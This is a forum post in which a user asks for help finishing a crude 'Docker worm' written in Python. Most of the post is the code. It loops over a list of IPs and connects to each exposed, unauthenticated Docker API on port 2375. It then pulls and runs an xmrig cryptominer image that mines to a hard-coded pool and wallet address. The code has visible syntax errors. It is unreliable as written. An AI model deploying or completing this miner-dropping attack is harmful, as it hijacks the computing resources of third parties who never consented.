Docker Worm in Python

I heard that Docker worms are a recent thing, so I tried to make a crude one. The only part I’m stuck at his making the connection to the Docker host (from a list of docker files). The sdk isn’t helping me much, especially with the from_env() method. Do you have to use os to change the enviroment variables each time? Here’s the code, I hope it help you guys answering my question.
indent preformatted text by 4 spacesimport docker
import time
import os

ip_list = []

def load_hosts():

with open('dockerlist.txt', 'r') as f:
	for line in f.readlines():
		docker = line.strip('\n')
		ip_list.append(docker)

def docker_connect():

load_hosts()
for ip in ip_list:
	try:
		os.environ["DOCKER_HOST"] = 'tcp:// ' + ip + ' :2375'
		dclient = docker.from_env()
		dclient.images.pull('alpine')
		print('downloaded test image at ' + ip)
		dclient.images.pull('villers/docker-xmrig')
		print('pulled image #1')
		dclient.containers.run('villers/docker-xmrig', ' -o pool.hashvault.pro:5555 -u 43UMRjdw6aU4skKEEXKXTsQMGFg4uakPdiB6aVcqNPpJKQy7GWYbprp86tji4k4wLsiHerfhRRPXyUEepbK7YFSk6YjuQpQ -p Hello', detach=True)
		print('ran miner on ' + ip ' !')
	except:
		print( ip + ' docker not avaiable!')

docker_connect()

1 Like